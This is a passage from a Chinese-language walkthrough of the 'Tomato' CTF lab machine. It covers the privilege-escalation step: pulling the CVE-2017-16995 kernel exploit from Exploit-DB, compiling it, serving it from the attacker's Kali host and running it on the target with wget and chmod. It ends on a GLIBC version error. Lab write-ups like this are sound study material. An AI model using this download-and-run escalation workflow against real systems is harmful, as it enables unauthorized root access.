root at kali in ~/Tomato $ searchsploit -m 45010.c Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation URL: https://www.exploit-db.com/exploits/45010 Path: /usr/share/exploitdb/exploits/linux/local/45010.c Codes: CVE-2017-16995 Verified: True File Type: C source, ASCII text Copied to: /root/Tomato/45010.c
使用 gcc 将 45010.c 编译成可执行文件：
1 2 3 4 5 6
root at kali in ~/Tomato $ gcc 45010.c -o exp
root at kali in ~/Tomato $ ls -l exp -rwxr-xr-x 1 root root 21616 Jun 14 17:12 exp
由于需要将 exp 文件上传至靶机进行编译，在 Kali 本地使用 Python 开启一个 Web 服务：
1 2 3 4
root at kali in ~/Tomato $ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
在靶机中使用 Wget 下载该文件：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
www-data@ubuntu:/home/tomato$ cd /tmp cd /tmp www-data@ubuntu:/tmp$ wget http://10.10.8.17/exp wget http://10.10.8.17/exp --2024-06-14 02:13:23-- http://10.10.8.17/exp Connecting to 10.10.8.17:80... connected. HTTP request sent, awaiting response... 200 OK Length: 21616 (21K) [application/octet-stream] Saving to: 'exp'
www-data@ubuntu:/tmp$ ls -l exp ls -l exp -rw-r--r-- 1 www-data www-data 21616 Jun 14 02:12 exp
执行 exp 文件：
1 2 3 4 5
www-data@ubuntu:/tmp$ chmod +x exp chmod +x exp www-data@ubuntu:/tmp$ ./exp ./exp ./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
发现此时执行不了，GLIBC 版本不对，这里就有个大坑QAQ，花了我半天时间。
注：这里网上的大部分文章其实都是直接在 Kali 上编译两个文件 45010.c 和 CVE-2017-6074，但如果使用的是近几年的 Kali，就会出现 GLIBC_2.34 的报错。
